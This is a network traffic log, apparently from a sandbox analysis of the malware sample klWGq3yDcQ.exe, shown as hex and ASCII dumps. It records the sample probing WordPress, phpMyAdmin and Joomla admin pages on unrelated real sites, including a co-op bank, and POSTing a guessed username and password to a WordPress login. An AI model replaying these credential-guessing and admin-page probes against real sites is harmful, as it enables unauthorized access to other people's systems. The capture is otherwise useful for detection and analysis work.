74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 2e 70 68 Data Ascii: 1b6<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/admin.php'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/admin.ph

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	62899	164.52.221.51	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	172	OUT	GET /wp-login.php HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	412	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 30 2e 32 30 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%
2023-11-26 05:59:43 UTC	4130	IN	Data Raw: 31 30 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 Data Ascii: 101a<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; The Godhra City Co-op Bank Ltd. — WordPress</title><meta name='robots' content='max-image-preview:lar
2023-11-26 05:59:43 UTC	2144	IN	Data Raw: 38 35 39 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 Data Ascii: 859<script type="text/javascript" src="https://gccb.co.in/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script type="text/javascript" src="https://gccb.co.in/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id
2023-11-26 05:59:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	63980	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	401	OUT	POST /wp-login.php?wpe-login=true HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=4b891e4bf86cbb4d9abf191d2f37b534 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://tiswheels.com/wp-login.php Content-Length: 123 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:41 UTC	123	OUT	Data Raw: 6c 6f 67 3d 68 68 26 70 77 64 3d 30 39 38 70 6f 69 30 39 38 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 74 69 73 77 68 65 65 6c 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=hh&pwd=098poi098&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftiswheels.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:42 UTC	517	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 36 32 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 50 72 61 67 Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 6625Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EnginePrag
2023-11-26 05:59:42 UTC	6625	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.4	63749	120.88.73.238	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	245	OUT	GET /login/?page=%2Fphpmyadmin%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=m8r73sfk2fugohr6q21ktgilm1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	543	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 33 20 53 65 65 20 4f 74 68 65 72 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a Data Ascii: HTTP/1.1 303 See OtherServer: nginxDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	64104	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	224	OUT	GET /administrator/index.php HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rech.com/
2023-11-26 05:59:42 UTC	218	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:42 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/administrator/index.php
2023-11-26 05:59:42 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	64041	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:42 UTC	165	OUT	GET / HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	628	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 77 70 2f 76 32 2f 70 61 67 65 73 2f 32 38 3e 3b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 3b 20 74 79 Data Ascii: HTTP/1.1 200 OKdate: Sun, 26 Nov 2023 05:59:42 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12link: <https://www.maxiv.lu.se/wp-json/>; rel="https://api.w.org/"link: <https://www.maxiv.lu.se/wp-json/wp/v2/pages/28>; rel="alternate"; ty
2023-11-26 05:59:42 UTC	6276	IN	Data Raw: 31 38 37 43 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 4d 41 58 20 49 56 20 26 23 38 32 31 31 3b 20 57 65 20 6d 61 6b 65 20 74 68 65 20 69 6e 76 69 73 69 62 Data Ascii: 187C<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>MAX IV – We make the invisib
2023-11-26 05:59:43 UTC	6748	IN	Data Raw: 31 41 35 34 0d 0a 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 63 6f 6c 6f 72 7b 63 6f Data Ascii: 1A54vid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{co
2023-11-26 05:59:43 UTC	16314	IN	Data Raw: 33 46 42 32 0d 0a 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 6d 61 78 69 76 2f 63 73 73 2f 68 69 67 68 6c 69 67 68 74 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 31 2e 30 2e 30 2e 31 36 38 32 36 37 34 33 32 32 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6a 71 75 65 72 79 2d 75 69 2d 73 74 79 6c 65 73 2d 63 73 73 27 20 68 72 65 66 3d 27 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 75 69 2f 31 2e 31 33 2e 31 2f 74 68 65 6d 65 73 2f 62 61 73 65 2f 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e Data Ascii: 3FB2' href='https://www.maxiv.lu.se/wp-content/themes/maxiv/css/highlight.min.css?ver=1.0.0.1682674322' media='all' /><link rel='stylesheet' id='jquery-ui-styles-css' href='//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css?ver=6.4.1' media='all' />
2023-11-26 05:59:43 UTC	10662	IN	Data Raw: 32 39 39 45 0d 0a 2e 39 35 20 32 34 2e 35 2d 37 2e 30 34 20 31 2e 32 33 20 36 2e 37 31 20 32 2e 33 34 20 31 33 2e 35 38 20 33 2e 33 32 20 32 30 2e 35 39 2d 37 2e 38 36 2d 34 2e 30 37 2d 31 35 2e 38 36 2d 38 2d 32 34 2e 30 31 2d 31 31 2e 38 7a 6d 2d 32 31 38 2e 37 33 20 37 32 2e 35 32 63 2d 32 38 2e 39 36 2d 32 39 2e 36 31 2d 34 31 2e 38 35 2d 35 36 2e 36 39 2d 33 34 2e 35 31 2d 37 32 2e 34 35 20 36 2e 32 35 2d 31 33 2e 33 39 20 32 38 2e 31 36 2d 32 30 2e 38 34 20 35 39 2e 39 35 2d 32 30 2e 38 34 20 35 2e 36 31 20 30 20 31 31 2e 35 33 2e 32 33 20 31 37 2e 37 33 2e 37 20 31 31 2e 31 36 2e 38 35 20 32 32 2e 39 20 32 2e 34 34 20 33 35 2e 30 37 20 34 2e 37 31 2d 32 2e 36 37 20 31 34 2e 34 32 2d 34 2e 38 32 20 32 39 2e 34 39 2d 36 2e 34 31 20 34 35 2e 30 33 2d Data Ascii: 299E.95 24.5-7.04 1.23 6.71 2.34 13.58 3.32 20.59-7.86-4.07-15.86-8-24.01-11.8zm-218.73 72.52c-28.96-29.61-41.85-56.69-34.51-72.45 6.25-13.39 28.16-20.84 59.95-20.84 5.61 0 11.53.23 17.73.7 11.16.85 22.9 2.44 35.07 4.71-2.67 14.42-4.82 29.49-6.41 45.03-
2023-11-26 05:59:43 UTC	16322	IN	Data Raw: 33 46 42 41 0d 0a 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 32 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 63 61 6c 6c 2d 66 6f 72 2d 70 72 6f 70 6f 73 61 6c 73 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 20 66 6f 72 20 70 72 6f 70 6f 73 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 Data Ascii: 3FBAitem-object-page item-depth-2'><a href="https://www.maxiv.lu.se/user-access/call-for-proposals/" class="menu-item-label">Call for proposals</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth
2023-11-26 05:59:43 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e Data Ascii: 3FC0 submenu-toggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-5'><a href="https://www.maxiv.lu.
2023-11-26 05:59:43 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 74 6f 6d 61 78 2f 75 73 65 72 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 55 73 65 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 Data Ascii: 3FB8tomax/user-information/" class="menu-item-label">User information</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler d-none minus
2023-11-26 05:59:43 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6e 6f 2d 62 6f 72 64 65 72 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 68 69 70 70 69 65 2f 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 73 74 61 74 69 6f 6e 2f 73 6f 6c 69 64 2d 6c 69 71 75 69 64 2d 62 72 61 6e 63 68 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 53 6f 6c 69 64 2d 4c 69 71 75 69 64 20 42 72 61 6e 63 68 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 2f 75 6c Data Ascii: 3FB8e-post_type menu-item-object-page no-border item-depth-5'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/hippie/experimental-station/solid-liquid-branch/" class="menu-item-label">Solid-Liquid Branch</a></li><li></li></ul></li></ul
